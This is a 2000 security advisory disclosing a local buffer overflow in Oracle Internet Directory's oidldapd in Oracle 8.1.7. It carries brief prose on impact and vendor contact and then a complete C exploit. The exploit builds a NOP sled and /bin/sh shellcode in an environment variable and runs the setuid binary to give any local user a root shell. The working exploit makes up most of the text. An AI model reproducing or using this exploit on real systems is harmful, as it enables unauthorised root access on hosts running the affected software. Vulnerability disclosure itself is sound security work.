vulnerability #1 in Oracle Internet Directory 2.1.1.1 in Oracle 8.1.7

[Juan Manuel Pascual Escriba <pask () PLAZASITE COM>]

                      WWW.PLAZASITE.COM
                  System & Security Division

   Title:     Vulnerability in oidldapd in Oracle 8.1.7
    Date:     10-12-2000
Platform:     Only tested in Linux, but can be exported to others.
  Impact:     Any user gain euid=root.
  Author:     Juan Manuel Pascual (pask () plazasite com)
  Status:     Vendor Contacted answers received. Details Below

OVERVIEW:
    oidldapd is a Oracle Internet Directory. Oracle Ldap Daemon. The
actual version is 2.1.1.1

PROBLEM SUMMARY:
    There is a buffer overflow in oidldapd that can be use by local
users to obtain euid of root user. Easy for user oracle.

IMPACT:
    Any user with local access, can gain euid= root.

SOLUTION:
    Chmod -s ;-)))).

STATUS:
    Vendor was contacted 10-Dec-2000. They point me to metalink site
then all to metalink site ;-)

----------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba            pask () plazasite com

--


                " In God We trust, Others We monitor "

        -------------------------------------------------------------
         Juan Manuel Pascual Escribá        Administrador de Sistemas
         PlazaSite S.A.                         c/ Tomás Bretón 32-38
         08950 Esplugues de Llobregat           (Barcelona),    SPAIN
         Ph: +34 93 3717398                       Fax: +34 93 3711968
         mob: 667591142                     Email: pask () plazasite com
        -------------------------------------------------------------



















/*
Exploit Code for oidldapd in Oracle 8.1.7 (8ir3) for Linux. I tested in RH 6.2
and 6.1.

synopsis: buffer overflow in oidldapd
impact:   any local user gain euid=root.

Dedicated to my mentors. Cra & Borja. Thanks for your knowledge and wisdom.
*/




#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_OFFSET                -400
#define DEFAULT_BUFFER_SIZE             700
#define NOP                            0x90
#define ORACLE_HOME             "/work/oracle8ir3"

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,*name[3],environ[100],binary[120];
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;


  buff = malloc(bsize);
  addr = get_sp() - offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);

  sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME);
  putenv(environ);

  sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);
  system(binary);
}